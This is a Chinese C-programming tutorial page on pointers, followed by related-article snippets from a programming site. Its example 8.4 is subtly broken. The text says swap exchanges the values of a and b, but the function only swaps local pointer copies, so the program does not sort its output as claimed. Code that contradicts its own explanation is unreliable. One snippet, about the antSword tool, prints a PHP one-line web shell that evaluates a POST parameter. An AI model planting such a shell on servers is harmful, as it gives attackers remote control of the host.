第8章 【C语言】善于利用指针

8.1 指针是什么

由于通过地址能找到所需的变量单元,可以说,地址指向该变量单元。将地址形象化称为“指针”。

直接按变量名进行的访问,称为“直接访问”方式。

还可以采用另一种称为“间接访问”的方式,即将变量i的地址存放在另一变量中,然后通过该变量来找到变量i的地址,从而访问i变量。

指向就是通过地址来体现的。地址指向该变量单元。

如果有一个变量专门用来存放另一变量的地址,则它称为“指针变量”。

8.2 指针变量

8.2.2 怎样定义指针变量

定义指针变量的一般形式为

类型名*指针变量名;

如:int*pointer_1,*pointer_2;

左端的int是在定义指针变量时必须指定的“基类型”。

在定义指针变量时要注意:

(1)指针变量前面的“*”表示该变量为指针型变量。

(2)在定义指针变量时必须指定基类型。

一个变量的指针的含义包括两个方面,一是以存储单元编号表示的纯地址,一是它指向的存储单元的数据类型(如int,char,float)。

指向整型数据的指针类型表示为“int*",读作”指向int的指针“或简称”int指针“。

8.2.3 怎样引用指针变量

例8.2 输入a和b两个整数,按先大后小的顺序输出a和b

#include<stdio.h>
int main(){int * p1,*p2,*p,a,b;printf("please enter two integer numbers:");scanf("%d,%d",&a,&b);p1=&a;p2=&b;if(a<b){p=p1;p1=p2;p2=p;    }printf("a=%d,b=%d\n",a,b);printf("max=%d,min=%d\n",*p1,*p2);return 0;
}

8.2.4 指针变量作为函数参数

函数的参数不仅可以是整型、浮点型、字符型等数据,还可以是指针类型。

swap是用户自定义函数,它的作用是交换两个变量(a和b)的值。swap函数的两个形参p1和p2是指针变量。

例8.4 对输入的两个整数按大小顺序输出。

#include<stdio.h>
int main(){void swap(int *p1,int *p2);int a,b;int *pointer_1,*pointer_2;printf("please enter two integer numbers:");scanf("%d,%d",&a,&b);pointer_1=&a;pointer_2=&b;if(a<b) swap(pointer_1,pointer_2);printf("max=%d,min=%d\n",*pointer_1,*pointer_2);return 0;
}
void swap(int *p1,int *p2){int *p;p=p1;p1=p2;p2=p;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/34952.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何让你的图片服务也有类似OSS的图片处理功能

原文链接 前言 有自己机房的公司一般都有一套存储系统用于存储公司的图片、视频、音频、文件等数据&#xff0c;常见的存储系统有以NAS、FASTDFS为代表的传统文件存储&#xff0c;和以Minio为代表的对象存储系统&#xff0c;随着云服务的兴起很多公司逐渐将数据迁移到以阿里云…

二叉树的性质和完全二叉树的性质

二叉树的性质&#xff1a; 在二叉树的第i层至多有 2 i 1 ( i > 1 ) 2^{i1}(i>1) 2i1(i>1) 深度为k的二叉树最多有 2 k − 1 2^k-1 2k−1个结点 对于任意一棵二叉树T&#xff0c;如果其终端结点数为 n 0 n_0 n0​&#xff0c;度为2的结点数为 n 2 n_2 n2​,则 n 0 …

【剑指 Offer 39】数组中超过一半的数字

题目&#xff1a; 数组中有一个数字出现的次数超过数组长度的一半&#xff0c;请找出这个数字。 你可以假设数组是非空的&#xff0c;并且给定的数组总是存在多数元素。 示例&#xff1a; 输入: [1, 2, 3, 2, 2, 2, 5, 4, 2] 输出: 2 思考&#xff1a; 方法一&#xff1a;投…

5.0 Python 定义并使用函数

函数是python程序中的基本模块化单位&#xff0c;它是一段可重用的代码&#xff0c;可以被多次调用执行。函数接受一些输入参数&#xff0c;并且在执行时可能会产生一些输出结果。函数定义了一个功能的封装&#xff0c;使得代码能够模块化和组织结构化&#xff0c;更容易理解和…

企业有VR全景拍摄的需求吗?能带来哪些好处?

在传统图文和平面视频逐渐疲软的当下&#xff0c;企业商家如何做才能让远在千里之外的客户更深入、更直接的详细了解企业品牌和实力呢&#xff1f;千篇一律的纸质材料已经过时了&#xff0c;即使制作的再精美&#xff0c;大家也会审美疲劳&#xff1b;但是你让客户远隔千里&…

(MySQL经验)之MySQL单表行数最好低于2000w

作为在后端开发&#xff0c;是不是经常听到过&#xff0c;mysql 单表最好不要超过 2000w,单表超过 2000w 就要考虑数据迁移了&#xff0c;表数据都要到 2000w &#xff0c;查询速度变得贼慢。 1、建表操作 建一张表 CREATE TABLE person( id int NOT NULL AUTO_INCREMENT PRI…

如何让ES低成本、高性能?滴滴落地ZSTD压缩算法的实践分享

前文分别介绍了滴滴自研的ES强一致性多活是如何实现的、以及如何提升ES的性能潜力。由于滴滴ES日志场景每天写入量在5PB-10PB量级&#xff0c;写入压力和业务成本压力大&#xff0c;为了提升ES的写入性能&#xff0c;我们让ES支持ZSTD压缩算法&#xff0c;本篇文章详细展开滴滴…

Python 监控 Windows 服务

Python 监控 Windows 服务 Python 在 Windows 系统上可以使用 wmi 模块来实现对 Windows 服务的监控。本文将介绍如何使用 Python 监控 Windows 服务&#xff0c;并实现服务状态的查询和服务启停功能。 安装依赖 在使用 wmi 模块之前&#xff0c;需要先安装 wmi包。可以使用…

[excel]vlookup函数对相同的ip进行关联

一、需求&#xff08;由于ip不可泄漏所以简化如下&#xff09; 有两个sheet: 找到sheet1在sheet2中存在的ip&#xff0c;也就是找到有漏洞的ip 二、实现 vlookup函数有4个参数 第一个:当前表要匹配的列&#xff0c;选择第一个sheet当前行需要处理的ip即可 第二个:第二个shee…

linux内核bitmap之setbit汇编实现

内核版本&#xff1a;kernel 0.12 首先看一段代码&#xff0c;下面这段代码来自内核版本0.12的mm/swap.c中&#xff1a; // mm/swap.c #define bitop(name,op) \static inline int name(char * addr,unsigned int nr) \ { \int __res; \__asm__ __volatile__("bt" …

蚁剑antSword-maste下载-安装-使用-一句话木马

下载 https://github.com/AntSwordProject/antSword 一句话木马 hack.php脚本 <?php eval($_POST[attack]);?> 安装 1、安装完成后启动 2、初始化&#xff0c;选择有源码的目录 3、连接

03 什么是预训练(Transformer 前奏)

博客配套视频链接: https://space.bilibili.com/383551518?spm_id_from=333.1007.0.0 b 站直接看 配套 github 链接:https://github.com/nickchen121/Pre-training-language-model 配套博客链接:https://www.cnblogs.com/nickchen121/p/15105048.html 预训练有什么用 机器学…

Linux(Web与html)

域名 DNS与域名&#xff1a; 网络是基于tcp/ip协议进行通信和连接的 tcp/ip协议是五层协议&#xff1a;应用层–传输层—网络层----数据链路层----物理层每一台主机都有一个唯一的地址标识&#xff08;固定的ip地址&#xff0c;用于区分用户和计算机。 ip地址&#xff1a;由…

深入浅出:MyBatis的使用方法及最佳实践

这里写目录标题 添加MyBatis框架⽀持配置连接字符串和MyBatis配置连接字符串配置 MyBatis 中的 XML 路径 添加业务代码创建数据库和表添加用户实体类添加 mapper 接⼝添加 UserMapper.xml添加 Service层添加 Controller层 增删改操作增加操作删除操作修改操作 添加MyBatis框架⽀…

JVM 基础

巩固基础&#xff0c;砥砺前行 。 只有不断重复&#xff0c;才能做到超越自己。 能坚持把简单的事情做到极致&#xff0c;也是不容易的。 JVM 类加载机制 JVM 类加载机制分为五个部分&#xff1a;加载&#xff0c;验证&#xff0c;准备&#xff0c;解析&#xff0c;初始化&am…

Hadoop安装完全分布式搭建

1、安装Hadoop 上传Hadoop的指定路径/root/softwares 解压安装 cd /root/softwares && tar -zxvf hadoop-2.7.3.tar.gz -C /usr/local配置环境变量 vim /etc/profile # Hadoop Environment export HADOOP_HOME/usr/local/hadoop-2.7.3 export PATH$PATH:$HADOOP_HOM…

openCV使用c#操作摄像头

效果如下&#xff1a; 1.创建一个winform的窗体项目&#xff08;框架.NET Framework 4.7.2&#xff09; 2.Nuget引入opencv的c#程序包&#xff08;版本最好和我一致&#xff09; 3.后台代码 using System; using System.Collections.Generic; using System.ComponentModel;…

用友-NC-Cloud远程代码执行漏洞[2023-HW]

用友-NC-Cloud远程代码执行漏洞[2023-HW] 一、漏洞介绍二、资产搜索三、漏洞复现PoC小龙POC检测脚本: 四、修复建议 免责声明&#xff1a;请勿利用文章内的相关技术从事非法测试&#xff0c;由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失&#…

Leetcode-每日一题【剑指 Offer 24. 反转链表】

题目 定义一个函数&#xff0c;输入一个链表的头节点&#xff0c;反转该链表并输出反转后链表的头节点。 示例: 输入: 1->2->3->4->5->NULL输出: 5->4->3->2->1->NULL 限制&#xff1a; 0 < 节点个数 < 5000 解题思路 1.题目要求我们反转…

Windows下运行Tomcat服务时报GC Overhead Limit Exceeded

根本原因是在新建Tomcat作为Windows服务时&#xff0c;系统默认设置的堆内存太小了&#xff0c;我们打开/bin/service.bat文件&#xff0c;将如下图所示的默认值改大一些就好了 if "%JvmMs%" "" set JvmMs512 if "%JvmMx%" "" set J…